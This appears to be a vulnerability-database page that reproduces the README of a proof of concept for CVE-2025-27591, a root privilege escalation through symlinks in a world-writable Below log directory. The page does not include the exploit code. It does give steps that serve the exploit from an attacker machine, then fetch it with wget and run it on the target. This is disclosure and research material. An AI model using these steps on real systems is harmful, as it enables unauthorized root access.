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CVE-2025-27591 PoC — below 安全漏洞

Source
Associated Vulnerability
Title:below 安全漏洞 (CVE-2025-27591)
Description:A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.
Description
CVE-2025-27591 is a privilege escalation vulnerability that affected the Below service before version 0.9.0
Readme
# CVE-2025-27591 Proof Of Concept
CVE-2025-27591 is a privilege escalation vulnerability that affected the Below service before version 0.9.0. The issue arose due to the creation of a world-writable directory at /var/log/below. An attacker could exploit this vulnerability by manipulating symlinks within this directory and potentially gain root privileges, making it a significant security concern for local unprivileged users.

This Proof-of-Concept was written for educational and research purposes only.

At the time of writing, no publicly available PoC for this vulnerability existed in the community.Therefore, I decided to responsibly share this implementation in order to fill that gap, contribute tothe security research ecosystem, and raise awareness about the critical nature of insecure filesystem.
## Cause Of Vulnerability
<img width="772" height="245" alt="image" src="https://github.com/user-attachments/assets/220c4bfb-805b-4f2e-98b2-8e7c3cf7142d" />

## Proof-Of-Concept

From attacker machine:

1-git clone https://github.com/BridgerAlderson/CVE-2025-27591-PoC.git

2-cd CVE-2025-27591-PoC

3-python3 -m http.server 80 

From vulnerable system:

1- wget http://<your-ip>/exploit.py

2-python exploit.py

<img width="1901" height="678" alt="image" src="https://github.com/user-attachments/assets/049a7102-856b-4bf0-a27a-0a6f70cb8ec7" />


## References
https://www.facebook.com/security/advisories/cve-2025-27591
https://github.com/facebookincubator/below/commit/da9382e6e3e332fd2c3195e22f34977f83f0f1f3
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